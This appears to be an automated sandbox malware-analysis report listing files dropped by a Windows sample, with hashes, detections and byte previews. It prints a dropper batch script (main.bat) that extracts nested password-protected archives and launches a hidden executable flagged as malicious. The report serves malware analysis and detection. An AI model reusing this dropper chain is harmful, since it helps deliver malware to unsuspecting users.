Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................1.......1...@.................................W...k.......H.....................0.............................X.0..................................................... . ............................@....rsrc...H...........................@....idata ............................@...mfipcauo. ........................@...hkjptfdi......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2355713
Entropy (8bit):	5.891648193754473
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xO:R9kqGu7okoZscCnf0/Zs9p
MD5:	579A63BEBCCBACAB8F14132F9FC31B89
SHA1:	FCA8A51077D352741A9C1FF8A493064EF5052F27
SHA-256:	0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
SHA-512:	4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1799594
Entropy (8bit):	7.99773141173711
Encrypted:	true
SSDEEP:	49152:8yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ+:tj13Trb6i5iGmuXZTbBizt0Jhc
MD5:	5659EBA6A774F9D5322F249AD989114A
SHA1:	4BFB12AA98A1DC2206BAA0AC611877B815810E4C
SHA-256:	E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
SHA-512:	F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
Malicious:	false
Preview:	PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799748
Entropy (8bit):	7.997729415613798
Encrypted:	true
SSDEEP:	49152:5yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ/:4j13Trb6i5iGmuXZTbBizt0Jhl
MD5:	5404286EC7853897B3BA00ADF824D6C1
SHA1:	39E543E08B34311B82F6E909E1E67E2F4AFEC551
SHA-256:	EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
SHA-512:	C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
Malicious:	false
Preview:	PK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799902
Entropy (8bit):	7.997726708945573
Encrypted:	true
SSDEEP:	49152:Cyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJV:nj13Trb6i5iGmuXZTbBizt0Jh3
MD5:	5EB39BA3698C99891A6B6EB036CFB653
SHA1:	D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
SHA-256:	E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
SHA-512:	6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
Malicious:	false
Preview:	PK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800056
Entropy (8bit):	7.997723543142523
Encrypted:	true
SSDEEP:	49152:Zyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJQ:Yj13Trb6i5iGmuXZTbBizt0Jhm
MD5:	7187CC2643AFFAB4CA29D92251C96DEE
SHA1:	AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
SHA-256:	C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
SHA-512:	27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
Malicious:	false
Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:	49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	false
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:	49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	false
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:	98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	false
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

